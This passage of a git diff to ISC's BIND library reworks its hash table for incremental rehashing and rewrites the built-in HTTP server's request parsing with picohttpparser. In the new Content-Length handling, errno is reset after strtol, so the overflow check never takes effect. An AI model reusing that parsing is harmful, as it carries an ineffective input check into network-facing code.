 	REQUIRE(htp != NULL);
+	REQUIRE(ISC_HT_VALID(*htp));
 
 	ht = *htp;
 	*htp = NULL;
-
-	REQUIRE(ISC_HT_VALID(ht));
-
 	ht->magic = 0;
 
-	for (i = 0; i < ht->size; i++) {
-		isc_ht_node_t *node = ht->table[i];
-		while (node != NULL) {
-			isc_ht_node_t *next = node->next;
-			ht->count--;
-			isc_mem_put(ht->mctx, node,
-				    offsetof(isc_ht_node_t, key) +
-					    node->keysize);
-			node = next;
+	for (size_t i = 0; i <= 1; i++) {
+		if (ht->table[i] != NULL) {
+			hashtable_free(ht, i);
 		}
 	}
 
 	INSIST(ht->count == 0);
 
-	isc_mem_put(ht->mctx, ht->table, ht->size * sizeof(isc_ht_node_t *));
-	isc_mem_putanddetach(&ht->mctx, ht, sizeof(struct isc_ht));
+	isc_mem_putanddetach(&ht->mctx, ht, sizeof(*ht));
 }
 
-isc_result_t
-isc_ht_add(isc_ht_t *ht, const unsigned char *key, uint32_t keysize,
-	   void *value) {
+static void
+isc__ht_add(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
+	    const uint32_t hashval, const uint8_t idx, void *value) {
 	isc_ht_node_t *node;
 	uint32_t hash;
 
+	hash = hash_32(hashval, ht->hashbits[idx]);
+
+	node = isc_mem_get(ht->mctx, STRUCT_FLEX_SIZE(node, key, keysize));
+	*node = (isc_ht_node_t){
+		.keysize = keysize,
+		.hashval = hashval,
+		.next = ht->table[idx][hash],
+		.value = value,
+	};
+
+	memmove(node->key, key, keysize);
+
+	ht->count++;
+	ht->table[idx][hash] = node;
+}
+
+isc_result_t
+isc_ht_add(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
+	   void *value) {
+	uint32_t hashval;
+
 	REQUIRE(ISC_HT_VALID(ht));
 	REQUIRE(key != NULL && keysize > 0);
 
-	hash = isc_hash_function(key, keysize, true);
-	node = ht->table[hash & ht->mask];
-	while (node != NULL) {
-		if (keysize == node->keysize &&
-		    memcmp(key, node->key, keysize) == 0) {
-			return (ISC_R_EXISTS);
-		}
-		node = node->next;
+	if (rehashing_in_progress(ht)) {
+		/* Rehash in progress */
+		hashtable_rehash_one(ht);
+	} else if (hashtable_is_overcommited(ht)) {
+		/* Rehash requested */
+		maybe_rehash(ht, ht->count);
 	}
 
-	node = isc_mem_get(ht->mctx, offsetof(isc_ht_node_t, key) + keysize);
+	hashval = isc_hash32(key, keysize, ht->case_sensitive);
 
-	memmove(node->key, key, keysize);
-	node->keysize = keysize;
-	node->next = ht->table[hash & ht->mask];
-	node->value = value;
+	if (isc__ht_find(ht, key, keysize, hashval, ht->hindex) != NULL) {
+		return (ISC_R_EXISTS);
+	}
+
+	isc__ht_add(ht, key, keysize, hashval, ht->hindex, value);
 
-	ht->count++;
-	ht->table[hash & ht->mask] = node;
 	return (ISC_R_SUCCESS);
 }
 
+static isc_ht_node_t *
+isc__ht_find(const isc_ht_t *ht, const unsigned char *key,
+	     const uint32_t keysize, const uint32_t hashval,
+	     const uint8_t idx) {
+	uint32_t hash;
+	uint8_t findex = idx;
+
+nexttable:
+	hash = hash_32(hashval, ht->hashbits[findex]);
+	for (isc_ht_node_t *node = ht->table[findex][hash]; node != NULL;
+	     node = node->next)
+	{
+		if (isc__ht_node_match(node, hashval, key, keysize)) {
+			return (node);
+		}
+	}
+	if (TRY_NEXTTABLE(findex, ht)) {
+		/*
+		 * Rehashing in progress, check the other table
+		 */
+		findex = HT_NEXTTABLE(findex);
+		goto nexttable;
+	}
+
+	return (NULL);
+}
+
 isc_result_t
-isc_ht_find(const isc_ht_t *ht, const unsigned char *key, uint32_t keysize,
-	    void **valuep) {
+isc_ht_find(const isc_ht_t *ht, const unsigned char *key,
+	    const uint32_t keysize, void **valuep) {
+	uint32_t hashval;
 	isc_ht_node_t *node;
-	uint32_t hash;
 
 	REQUIRE(ISC_HT_VALID(ht));
 	REQUIRE(key != NULL && keysize > 0);
 	REQUIRE(valuep == NULL || *valuep == NULL);
 
-	hash = isc_hash_function(key, keysize, true);
-	node = ht->table[hash & ht->mask];
-	while (node != NULL) {
-		if (keysize == node->keysize &&
-		    memcmp(key, node->key, keysize) == 0) {
-			if (valuep != NULL) {
-				*valuep = node->value;
-			}
-			return (ISC_R_SUCCESS);
-		}
-		node = node->next;
+	hashval = isc_hash32(key, keysize, ht->case_sensitive);
+
+	node = isc__ht_find(ht, key, keysize, hashval, ht->hindex);
+	if (node == NULL) {
+		return (ISC_R_NOTFOUND);
 	}
 
-	return (ISC_R_NOTFOUND);
+	SET_IF_NOT_NULL(valuep, node->value);
+	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-isc_ht_delete(isc_ht_t *ht, const unsigned char *key, uint32_t keysize) {
-	isc_ht_node_t *node, *prev;
+static isc_result_t
+isc__ht_delete(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
+	       const uint32_t hashval, const uint8_t idx) {
+	isc_ht_node_t *prev = NULL;
 	uint32_t hash;
 
-	REQUIRE(ISC_HT_VALID(ht));
-	REQUIRE(key != NULL && keysize > 0);
+	hash = hash_32(hashval, ht->hashbits[idx]);
 
-	prev = NULL;
-	hash = isc_hash_function(key, keysize, true);
-	node = ht->table[hash & ht->mask];
-	while (node != NULL) {
-		if (keysize == node->keysize &&
-		    memcmp(key, node->key, keysize) == 0) {
+	for (isc_ht_node_t *node = ht->table[idx][hash]; node != NULL;
+	     prev = node, node = node->next)
+	{
+		if (isc__ht_node_match(node, hashval, key, keysize)) {
 			if (prev == NULL) {
-				ht->table[hash & ht->mask] = node->next;
+				ht->table[idx][hash] = node->next;
 			} else {
 				prev->next = node->next;
 			}
 			isc_mem_put(ht->mctx, node,
-				    offsetof(isc_ht_node_t, key) +
-					    node->keysize);
+				    STRUCT_FLEX_SIZE(node, key, node->keysize));
 			ht->count--;
 
 			return (ISC_R_SUCCESS);
 		}
-
-		prev = node;
-		node = node->next;
 	}
+
 	return (ISC_R_NOTFOUND);
 }
 
 isc_result_t
+isc_ht_delete(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize) {
+	uint32_t hashval;
+	uint8_t hindex;
+	isc_result_t result;
+
+	REQUIRE(ISC_HT_VALID(ht));
+	REQUIRE(key != NULL && keysize > 0);
+
+	if (rehashing_in_progress(ht)) {
+		/* Rehash in progress */
+		hashtable_rehash_one(ht);
+	}
+
+	hindex = ht->hindex;
+	hashval = isc_hash32(key, keysize, ht->case_sensitive);
+nexttable:
+	result = isc__ht_delete(ht, key, keysize, hashval, hindex);
+
+	if (result == ISC_R_NOTFOUND && TRY_NEXTTABLE(hindex, ht)) {
+		/*
+		 * Rehashing in progress, check the other table
+		 */
+		hindex = HT_NEXTTABLE(hindex);
+		goto nexttable;
+	}
+
+	return (result);
+}
+
+void
 isc_ht_iter_create(isc_ht_t *ht, isc_ht_iter_t **itp) {
 	isc_ht_iter_t *it;
 
@@ -207,14 +440,12 @@ isc_ht_iter_create(isc_ht_t *ht, isc_ht_iter_t **itp) {
 	REQUIRE(itp != NULL && *itp == NULL);
 
 	it = isc_mem_get(ht->mctx, sizeof(isc_ht_iter_t));
-
-	it->ht = ht;
-	it->i = 0;
-	it->cur = NULL;
+	*it = (isc_ht_iter_t){
+		.ht = ht,
+		.hindex = ht->hindex,
+	};
 
 	*itp = it;
-
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -227,25 +458,46 @@ isc_ht_iter_destroy(isc_ht_iter_t **itp) {
 	it = *itp;
 	*itp = NULL;
 	ht = it->ht;
-	isc_mem_put(ht->mctx, it, sizeof(isc_ht_iter_t));
+	isc_mem_put(ht->mctx, it, sizeof(*it));
 }
 
 isc_result_t
 isc_ht_iter_first(isc_ht_iter_t *it) {
+	isc_ht_t *ht;
+
 	REQUIRE(it != NULL);
 
+	ht = it->ht;
+
+	it->hindex = ht->hindex;
 	it->i = 0;
-	while (it->i < it->ht->size && it->ht->table[it->i] == NULL) {
+
+	return (isc__ht_iter_next(it));
+}
+
+static isc_result_t
+isc__ht_iter_next(isc_ht_iter_t *it) {
+	isc_ht_t *ht = it->ht;
+
+	while (it->i < ht->size[it->hindex] &&
+	       ht->table[it->hindex][it->i] == NULL)
+	{
 		it->i++;
 	}
 
-	if (it->i == it->ht->size) {
-		return (ISC_R_NOMORE);
+	if (it->i < ht->size[it->hindex]) {
+		it->cur = ht->table[it->hindex][it->i];
+
+		return (ISC_R_SUCCESS);
 	}
 
-	it->cur = it->ht->table[it->i];
+	if (TRY_NEXTTABLE(it->hindex, ht)) {
+		it->hindex = HT_NEXTTABLE(it->hindex);
+		it->i = 0;
+		return (isc__ht_iter_next(it));
+	}
 
-	return (ISC_R_SUCCESS);
+	return (ISC_R_NOMORE);
 }
 
 isc_result_t
@@ -254,60 +506,36 @@ isc_ht_iter_next(isc_ht_iter_t *it) {
 	REQUIRE(it->cur != NULL);
 
 	it->cur = it->cur->next;
-	if (it->cur == NULL) {
-		do {
-			it->i++;
-		} while (it->i < it->ht->size && it->ht->table[it->i] == NULL);
-		if (it->i >= it->ht->size) {
-			return (ISC_R_NOMORE);
-		}
-		it->cur = it->ht->table[it->i];
+
+	if (it->cur != NULL) {
+		return (ISC_R_SUCCESS);
 	}
 
-	return (ISC_R_SUCCESS);
+	it->i++;
+
+	return (isc__ht_iter_next(it));
 }
 
 isc_result_t
 isc_ht_iter_delcurrent_next(isc_ht_iter_t *it) {
 	isc_result_t result = ISC_R_SUCCESS;
-	isc_ht_node_t *to_delete = NULL;
-	isc_ht_node_t *prev = NULL;
-	isc_ht_node_t *node = NULL;
-	uint32_t hash;
+	isc_ht_node_t *dnode = NULL;
+	uint8_t dindex;
 	isc_ht_t *ht;
+	isc_result_t dresult;
+
 	REQUIRE(it != NULL);
 	REQUIRE(it->cur != NULL);
-	to_delete = it->cur;
-	ht = it->ht;
 
-	it->cur = it->cur->next;
-	if (it->cur == NULL) {
-		do {
-			it->i++;
-		} while (it->i < ht->size && ht->table[it->i] == NULL);
-		if (it->i >= ht->size) {
-			result = ISC_R_NOMORE;
-		} else {
-			it->cur = ht->table[it->i];
-		}
-	}
+	ht = it->ht;
+	dnode = it->cur;
+	dindex = it->hindex;
 
-	hash = isc_hash_function(to_delete->key, to_delete->keysize, true);
-	node = ht->table[hash & ht->mask];
-	while (node != to_delete) {
-		prev = node;
-		node = node->next;
-		INSIST(node != NULL);
-	}
+	result = isc_ht_iter_next(it);
 
-	if (prev == NULL) {
-		ht->table[hash & ht->mask] = node->next;
-	} else {
-		prev->next = node->next;
-	}
-	isc_mem_put(ht->mctx, node,
-		    offsetof(isc_ht_node_t, key) + node->keysize);
-	ht->count--;
+	dresult = isc__ht_delete(ht, dnode->key, dnode->keysize, dnode->hashval,
+				 dindex);
+	INSIST(dresult == ISC_R_SUCCESS);
 
 	return (result);
 }
@@ -332,8 +560,8 @@ isc_ht_iter_currentkey(isc_ht_iter_t *it, unsigned char **key,
 	*keysize = it->cur->keysize;
 }
 
-unsigned int
-isc_ht_count(isc_ht_t *ht) {
+size_t
+isc_ht_count(const isc_ht_t *ht) {
 	REQUIRE(ISC_HT_VALID(ht));
 
 	return (ht->count);
diff --git a/lib/isc/httpd.c b/lib/isc/httpd.c
index 5daf349426..6ce2ca979c 100644
--- a/lib/isc/httpd.c
+++ b/lib/isc/httpd.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,21 +13,26 @@
 
 /*! \file */
 
+#include <ctype.h>
 #include <inttypes.h>
 #include <stdbool.h>
 #include <string.h>
 
 #include <isc/buffer.h>
 #include <isc/httpd.h>
+#include <isc/list.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
-#include <isc/socket.h>
+#include <isc/sockaddr.h>
 #include <isc/string.h>
 #include <isc/time.h>
+#include <isc/url.h>
 #include <isc/util.h>
 
+#include "netmgr/netmgr-int.h"
+#include "picohttpparser.h"
+
 #ifdef HAVE_ZLIB
 #include <zlib.h>
 #endif /* ifdef HAVE_ZLIB */
@@ -38,14 +45,20 @@
 		}                              \
 	} while (0)
 
-#define HTTP_RECVLEN	 1024
-#define HTTP_SENDGROW	 1024
-#define HTTP_SEND_MAXLEN 10240
+/*
+ * Size the recv buffer to hold at maximum two full buffers from isc_nm_read(),
+ * so we don't have to handle the truncation.
+ */
+#define HTTP_RECVLEN	     ISC_NETMGR_TCP_RECVBUF_SIZE * 2
+#define HTTP_SENDLEN	     ISC_NETMGR_TCP_RECVBUF_SIZE
+#define HTTP_HEADERS_NUM     100
+#define HTTP_MAX_REQUEST_LEN 4096
 
-#define HTTPD_CLOSE	     0x0001 /* Got a Connection: close header */
-#define HTTPD_FOUNDHOST	     0x0002 /* Got a Host: header */
-#define HTTPD_KEEPALIVE	     0x0004 /* Got a Connection: Keep-Alive */
-#define HTTPD_ACCEPT_DEFLATE 0x0008
+typedef enum httpd_flags {
+	CONNECTION_CLOSE = 1 << 0,	/* connection must close */
+	CONNECTION_KEEP_ALIVE = 1 << 1, /* response needs a keep-alive header */
+	ACCEPT_DEFLATE = 1 << 2,	/* response can be compressed */
+} httpd_flags_t;
 
 #define HTTPD_MAGIC    ISC_MAGIC('H', 't', 'p', 'd')
 #define VALID_HTTPD(m) ISC_MAGIC_VALID(m, HTTPD_MAGIC)
@@ -54,19 +67,25 @@
 #define VALID_HTTPDMGR(m) ISC_MAGIC_VALID(m, HTTPDMGR_MAGIC)
 
 /*%
- * Client states.
- *
- * _RECV	The client is waiting for data after starting a read.
- * _SEND	All data for a response has completed, and a reply was
- *		sent via a send call.
+ * HTTP methods.
  */
-
-typedef enum { RECV, SEND } state_t;
+typedef enum { METHOD_UNKNOWN = 0, METHOD_GET = 1, METHOD_POST = 2 } method_t;
 
 /*%
- * HTTP methods.
+ * HTTP urls.  These are the URLs we manage, and the function to call to
+ * provide the data for it.  We pass in the base url (so the same function
+ * can handle multiple requests), and a structure to fill in to return a
+ * result to the client.  We also pass in a pointer to be filled in for
+ * the data cleanup function.
  */
-typedef enum { METHOD_UNKNOWN = 0, METHOD_GET = 1, METHOD_POST = 2 } method_t;
+struct isc_httpdurl {
+	char *url;
+	isc_httpdaction_t *action;
+	void *action_arg;
+	bool isstatic;
+	isc_time_t loadtime;
+	ISC_LINK(isc_httpdurl_t) link;
+};
 
 /*% http client */
 struct isc_httpd {
@@ -75,60 +94,21 @@ struct isc_httpd {
 	isc_httpdmgr_t *mgr; /*%< our parent */
 	ISC_LINK(isc_httpd_t) link;
 
-	isc_nmhandle_t *handle;	    /* Permanent pointer to handle */
-	isc_nmhandle_t *readhandle; /* Waiting for a read callback */
-	isc_nmhandle_t *sendhandle; /* Waiting for a send callback */
-
-	state_t state;
-	int flags;
+	isc_nmhandle_t *handle; /* Permanent pointer to handle */
 
 	/*%
 	 * Received data state.
 	 */
 	char recvbuf[HTTP_RECVLEN]; /*%< receive buffer */
-	uint32_t recvlen;	    /*%< length recv'd */
-	char *headers;		    /*%< set in process_request() */
-	method_t method;
-	char *url;
-	char *querystring;
-	char *protocol;
-
-	/*%
-	 * Transmit data state.
-	 *
-	 * This is the data buffer we will transmit.
-	 *
-	 * This free function pointer is filled in by the rendering function
-	 * we call.  The free function is called after the data is transmitted
-	 * to the client.
-	 *
-	 * The bufflist is the list of buffers we are currently transmitting.
-	 * The headerbuffer is where we render our headers to.  If we run out
-	 * of space when rendering a header, we will change the size of our
-	 * buffer.  We will not free it until we are finished, and will
-	 * allocate an additional HTTP_SENDGROW bytes per header space grow.
-	 *
-	 * We currently use three buffers total, one for the headers (which
-	 * we manage), another for the client to fill in (which it manages,
-	 * it provides the space for it, etc) -- we will pass that buffer
-	 * structure back to the caller, who is responsible for managing the
-	 * space it may have allocated as backing store for it.  This second
-	 * buffer is bodybuffer, and we only allocate the buffer itself, not
-	 * the backing store.
-	 * The third buffer is compbuffer, managed by us, that contains the
-	 * compressed HTTP data, if compression is used.
-	 *
-	 */
-	isc_buffer_t headerbuffer;
-	isc_buffer_t compbuffer;
-	isc_buffer_t *sendbuffer;
+	size_t recvlen;		    /*%< length recv'd */
+	size_t consume;		    /*%< length of last command */
 
-	const char *mimetype;
-	unsigned int retcode;
-	const char *retmsg;
-	isc_buffer_t bodybuffer;
-	isc_httpdfree_t *freecb;
-	void *freecb_arg;
+	method_t method;
+	int minor_version;
+	httpd_flags_t flags;
+	const char *path;
+	isc_url_parser_t up;
+	isc_time_t if_modified_since;
 };
 
 struct isc_httpdmgr {
@@ -151,6 +131,45 @@ struct isc_httpdmgr {
 	isc_httpdaction_t *render_500;
 };
 
+typedef struct isc_httpd_sendreq {
+	isc_mem_t *mctx;
+	isc_httpd_t *httpd;
+
+	/*%
+	 * Transmit data state.
+	 *
+	 * This is the data buffer we will transmit.
+	 *
+	 * This free function pointer is filled in by the rendering function
+	 * we call.  The free function is called after the data is transmitted
+	 * to the client.
+	 *
+	 * We currently use three buffers total:
+	 *
+	 * sendbuffer - gets filled as we gather the data
+	 *
+	 * bodybuffer - for the client to fill in (which it manages, it provides
+	 * the space for it, etc) -- we will pass that buffer structure back to
+	 * the caller, who is responsible for managing the space it may have
+	 * allocated as backing store for it.  we only allocate the buffer
+	 * itself, not the backing store.
+	 *
+	 * compbuffer - managed by us, that contains the compressed HTTP data,
+	 * if compression is used.
+	 */
+	isc_buffer_t *sendbuffer;
+	isc_buffer_t *compbuffer;
+
+	isc_buffer_t bodybuffer;
+
+	const char *mimetype;
+	unsigned int retcode;
+	const char *retmsg;
+	isc_httpdfree_t *freecb;
+	void *freecb_arg;
+
+} isc_httpd_sendreq_t;
+
 static isc_result_t
 httpd_newconn(isc_nmhandle_t *, isc_result_t, void *);
 static void
@@ -158,23 +177,19 @@ httpd_request(isc_nmhandle_t *, isc_result_t, isc_region_t *, void *);
 static void
 httpd_senddone(isc_nmhandle_t *, isc_result_t, void *);
 static void
-httpd_reset(void *);
-static void
-httpd_put(void *);
+httpd_free(isc_httpd_t *httpd);
 
-static isc_result_t
-httpd_addheader(isc_httpd_t *, const char *, const char *);
-static isc_result_t
-httpd_addheaderuint(isc_httpd_t *, const char *, int);
-static isc_result_t
-httpd_endheaders(isc_httpd_t *);
-static isc_result_t
-httpd_response(isc_httpd_t *);
+static void
+httpd_addheader(isc_httpd_sendreq_t *, const char *, const char *);
+static void
+httpd_addheaderuint(isc_httpd_sendreq_t *, const char *, int);
+static void
+httpd_endheaders(isc_httpd_sendreq_t *);
+static void
+httpd_response(isc_httpd_t *, isc_httpd_sendreq_t *);
 
 static isc_result_t
-process_request(isc_httpd_t *, isc_region_t *);
-static isc_result_t
-grow_headerspace(isc_httpd_t *);
+process_request(isc_httpd_t *, size_t);
 
 static isc_httpdaction_t render_404;
 static isc_httpdaction_t render_500;
@@ -191,16 +206,6 @@ httpdmgr_attach(isc_httpdmgr_t *, isc_httpdmgr_t **);
 static void
 httpdmgr_detach(isc_httpdmgr_t **);
 
-static inline void
-free_buffer(isc_mem_t *mctx, isc_buffer_t *buffer) {
-	isc_region_t r;
-
-	isc_buffer_region(buffer, &r);
-	if (r.length > 0) {
-		isc_mem_put(mctx, r.base, r.length);
-	}
-}
-
 isc_result_t
 isc_httpdmgr_create(isc_nm_t *nm, isc_mem_t *mctx, isc_sockaddr_t *addr,
 		    isc_httpdclientok_t *client_ok,
@@ -228,8 +233,8 @@ isc_httpdmgr_create(isc_nm_t *nm, isc_mem_t *mctx, isc_sockaddr_t *addr,
 
 	isc_refcount_init(&httpdmgr->references, 1);
 
-	CHECK(isc_nm_listentcp(nm, addr, httpd_newconn, httpdmgr,
-			       sizeof(isc_httpd_t), 5, NULL, &httpdmgr->sock));
+	CHECK(isc_nm_listentcp(nm, ISC_NM_LISTEN_ONE, addr, httpd_newconn,
+			       httpdmgr, 5, NULL, &httpdmgr->sock));
 
 	httpdmgr->magic = HTTPDMGR_MAGIC;
 	*httpdmgrp = httpdmgr;
@@ -274,8 +279,6 @@ httpdmgr_detach(isc_httpdmgr_t **httpdmgrp) {
 
 static void
 destroy_httpdmgr(isc_httpdmgr_t *httpdmgr) {
-	isc_httpdurl_t *url;
-
 	isc_refcount_destroy(&httpdmgr->references);
 
 	LOCK(&httpdmgr->lock);
@@ -293,12 +296,11 @@ destroy_httpdmgr(isc_httpdmgr_t *httpdmgr) {
 	 * Clear out the list of all actions we know about.  Just free the
 	 * memory.
 	 */
-	url = ISC_LIST_HEAD(httpdmgr->urls);
-	while (url != NULL) {
+	isc_httpdurl_t *url, *next;
+	ISC_LIST_FOREACH_SAFE (httpdmgr->urls, url, link, next) {
 		isc_mem_free(httpdmgr->mctx, url->url);
 		ISC_LIST_UNLINK(httpdmgr->urls, url, link);
 		isc_mem_put(httpdmgr->mctx, url, sizeof(isc_httpdurl_t));
-		url = ISC_LIST_HEAD(httpdmgr->urls);
 	}
 
 	UNLOCK(&httpdmgr->lock);
@@ -310,268 +312,224 @@ destroy_httpdmgr(isc_httpdmgr_t *httpdmgr) {
 	isc_mem_putanddetach(&httpdmgr->mctx, httpdmgr, sizeof(isc_httpdmgr_t));
 }
 
-#define LENGTHOK(s) (httpd->recvbuf - (s) < (int)httpd->recvlen)
-#define BUFLENOK(s) (httpd->recvbuf - (s) < HTTP_RECVLEN)
+static bool
+name_match(const struct phr_header *header, const char *match) {
+	size_t match_len = strlen(match);
+	if (match_len != header->name_len) {
+		return (false);
+	}
+	return (strncasecmp(header->name, match, match_len) == 0);
+}
 
-/*
- * Look for the given header in headers.
- * If value is specified look for it terminated with a character in eov.
- */
 static bool
-have_header(isc_httpd_t *httpd, const char *header, const char *value,
-	    const char *eov) {
-	char *cr, *nl, *h;
-	size_t hlen, vlen = 0;
-
-	h = httpd->headers;
-	hlen = strlen(header);
-	if (value != NULL) {
-		INSIST(eov != NULL);
-		vlen = strlen(value);
+value_match(const struct phr_header *header, const char *match) {
+	size_t match_len = strlen(match);
+	size_t limit;
+
+	if (match_len > header->value_len) {
+		return (false);
 	}
 
-	for (;;) {
-		if (strncasecmp(h, header, hlen) != 0) {
-			/*
-			 * Skip to next line;
-			 */
-			cr = strchr(h, '\r');
-			if (cr != NULL && cr[1] == '\n') {
-				cr++;
-			}
-			nl = strchr(h, '\n');
+	limit = header->value_len - match_len + 1;
 
-			/* last header? */
-			h = cr;
-			if (h == NULL || (nl != NULL && nl < h)) {
-				h = nl;
-			}
-			if (h == NULL) {
-				return (false);
+	for (size_t i = 0; i < limit; i++) {
+		if (isspace(header->value[i])) {
+			while (i < limit && isspace(header->value[i])) {
+				i++;
 			}
-			h++;
 			continue;
 		}
 
-		if (value == NULL) {
-			return (true);
-		}
-
-		/*
-		 * Skip optional leading white space.
-		 */
-		h += hlen;
-		while (*h == ' ' || *h == '\t') {
-			h++;
-		}
-		/*
-		 * Terminate token search on NULL or EOL.
-		 */
-		while (*h != 0 && *h != '\r' && *h != '\n') {
-			if (strncasecmp(h, value, vlen) == 0) {
-				if (strchr(eov, h[vlen]) != NULL) {
-					return (true);
-					/*
-					 * Skip to next token.
-					 */
-				}
-			}
+		if (strncasecmp(&header->value[i], match, match_len) == 0) {
+			i += match_len;
 			/*
-			 * Skip to next token.
+			 * Sanity check; f.e. for 'deflate' match only
+			 * 'deflate[,;]', but not 'deflateyou'
 			 */
-			h += strcspn(h, eov);
-			if (h[0] == '\r' && h[1] == '\n') {
-				h++;
-			}
-			if (h[0] != 0) {
-				h++;
+			if (i == header->value_len || header->value[i] == ',' ||
+			    header->value[i] == ';')
+			{
+				return (true);
 			}
 		}
 
-		return (false);
+		while (i < limit && header->value[i] != ',') {
+			i++;
+		}
 	}
+	return (false);
 }
 
 static isc_result_t
-process_request(isc_httpd_t *httpd, isc_region_t *region) {
-	char *s = NULL, *p = NULL;
-	int delim;
+process_request(isc_httpd_t *httpd, size_t last_len) {
+	int pret;
+	const char *method = NULL;
+	size_t method_len = 0;
+	const char *path;
+	size_t path_len = 0;
+	struct phr_header headers[HTTP_HEADERS_NUM];
+	size_t num_headers;
+	isc_result_t result;
 
-	memmove(httpd->recvbuf + httpd->recvlen, region->base, region->length);
-	httpd->recvlen += region->length;
-	httpd->recvbuf[httpd->recvlen] = 0;
-	httpd->headers = NULL;
+	num_headers = ARRAY_SIZE(headers);
 
-	/*
-	 * If we don't find a blank line in our buffer, return that we need
-	 * more data.
-	 */
-	s = strstr(httpd->recvbuf, "\r\n\r\n");
-	delim = 2;
-	if (s == NULL) {
-		s = strstr(httpd->recvbuf, "\n\n");
-		delim = 1;
+	pret = phr_parse_request(httpd->recvbuf, httpd->recvlen, &method,
+				 &method_len, &path, &path_len,
+				 &httpd->minor_version, headers, &num_headers,
+				 last_len);
+
+	if (pret == -1) {
+		/* Parse Error */
+		return (ISC_R_UNEXPECTED);
+	} else if (pret == -2) {
+		/* Need more data */
+		return (ISC_R_NOMORE);
 	}
-	if (s == NULL) {
-		return (ISC_R_NOTFOUND);
+
+	INSIST(pret > 0);
+
+	if (pret > HTTP_MAX_REQUEST_LEN) {
+		return (ISC_R_RANGE);
 	}
 
-	/*
-	 * NUL terminate request at the blank line.
-	 */
-	s[delim] = 0;
+	httpd->consume = pret;
 
 	/*
 	 * Determine if this is a POST or GET method.  Any other values will
 	 * cause an error to be returned.
 	 */
-	if (strncmp(httpd->recvbuf, "GET ", 4) == 0) {
+	if (strncmp(method, "GET ", method_len) == 0) {
 		httpd->method = METHOD_GET;
-		p = httpd->recvbuf + 4;
-	} else if (strncmp(httpd->recvbuf, "POST ", 5) == 0) {
+	} else if (strncmp(method, "POST ", method_len) == 0) {
 		httpd->method = METHOD_POST;
-		p = httpd->recvbuf + 5;
 	} else {
 		return (ISC_R_RANGE);
 	}
 
 	/*
-	 * From now on, p is the start of our buffer.
-	 */
-
-	/*
-	 * Extract the URL.
+	 * Parse the URL
 	 */
-	s = p;
-	while (LENGTHOK(s) && BUFLENOK(s) &&
-	       (*s != '\n' && *s != '\r' && *s != '\0' && *s != ' '))
-	{
-		s++;
-	}
-	if (!LENGTHOK(s)) {
-		return (ISC_R_NOTFOUND);
-	}
-	if (!BUFLENOK(s)) {
-		return (ISC_R_NOMEMORY);
+	result = isc_url_parse(path, path_len, 0, &httpd->up);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
-	*s = 0;
+	httpd->path = path;
 
 	/*
-	 * Make the URL relative.
+	 * Examine headers that can affect this request's response
 	 */
-	if ((strncmp(p, "http:/", 6) == 0) || (strncmp(p, "https:/", 7) == 0)) {
-		/* Skip first / */
-		while (*p != '/' && *p != 0) {
-			p++;
-		}
-		if (*p == 0) {
-			return (ISC_R_RANGE);
-		}
-		p++;
-		/* Skip second / */
-		while (*p != '/' && *p != 0) {
-			p++;
-		}
-		if (*p == 0) {
-			return (ISC_R_RANGE);
-		}
-		p++;
-		/* Find third / */
-		while (*p != '/' && *p != 0) {
-			p++;
-		}
-		if (*p == 0) {
-			p--;
-			*p = '/';
-		}
-	}
+	httpd->flags = 0;
 
-	httpd->url = p;
-	p = s + 1;
-	s = p;
+	size_t content_len = 0;
+	bool keep_alive = false;
+	bool host_header = false;
 
-	/*
-	 * Now, see if there is a ? mark in the URL.  If so, this is
-	 * part of the query string, and we will split it from the URL.
-	 */
-	httpd->querystring = strchr(httpd->url, '?');
-	if (httpd->querystring != NULL) {
-		*(httpd->querystring) = 0;
-		httpd->querystring++;
-	}
+	isc_time_set(&httpd->if_modified_since, 0, 0);
 
-	/*
-	 * Extract the HTTP/1.X protocol.  We will bounce on anything but
-	 * HTTP/1.0 or HTTP/1.1 for now.
-	 */
-	while (LENGTHOK(s) && BUFLENOK(s) &&
-	       (*s != '\n' && *s != '\r' && *s != '\0')) {
-		s++;
-	}
-	if (!LENGTHOK(s)) {
-		return (ISC_R_NOTFOUND);
-	}
-	if (!BUFLENOK(s)) {
-		return (ISC_R_NOMEMORY);
+	for (size_t i = 0; i < num_headers; i++) {
+		struct phr_header *header = &headers[i];
+
+		if (name_match(header, "Content-Length")) {
+			char *endptr;
+			long val = strtol(header->value, &endptr, 10);
+
+			errno = 0;
+
+			/* ensure we consumed all digits */
+			if ((header->value + header->value_len) != endptr) {
+				return (ISC_R_BADNUMBER);
+			}
+			/* ensure there was no minus sign */
+			if (val < 0) {
+				return (ISC_R_BADNUMBER);
+			}
+			/* ensure it did not overflow */
+			if (errno != 0) {
+				return (ISC_R_RANGE);
+			}
+			content_len = val;
+		} else if (name_match(header, "Connection")) {
+			/* multiple fields in a connection header are allowed */
+			if (value_match(header, "close")) {
+				httpd->flags |= CONNECTION_CLOSE;
+			}
+			if (value_match(header, "keep-alive")) {
+				keep_alive = true;
+			}
+		} else if (name_match(header, "Host")) {
+			host_header = true;
+		} else if (name_match(header, "Accept-Encoding")) {
+			if (value_match(header, "deflate")) {
+				httpd->flags |= ACCEPT_DEFLATE;
+			}
+		} else if (name_match(header, "If-Modified-Since") &&
+			   header->value_len < ISC_FORMATHTTPTIMESTAMP_SIZE)
+		{
+			char timestamp[ISC_FORMATHTTPTIMESTAMP_SIZE + 1];
+			memmove(timestamp, header->value, header->value_len);
+			timestamp[header->value_len] = 0;
+
+			/* Ignore the value if it can't be parsed */
+			(void)isc_time_parsehttptimestamp(
+				timestamp, &httpd->if_modified_since);
+		}
 	}
+
 	/*
-	 * Check that we have the expected eol delimiter.
+	 * The Content-Length is optional in an HTTP request.
+	 * For a GET the length must be zero.
 	 */
-	if (strncmp(s, delim == 1 ? "\n" : "\r\n", delim) != 0) {
-		return (ISC_R_RANGE);
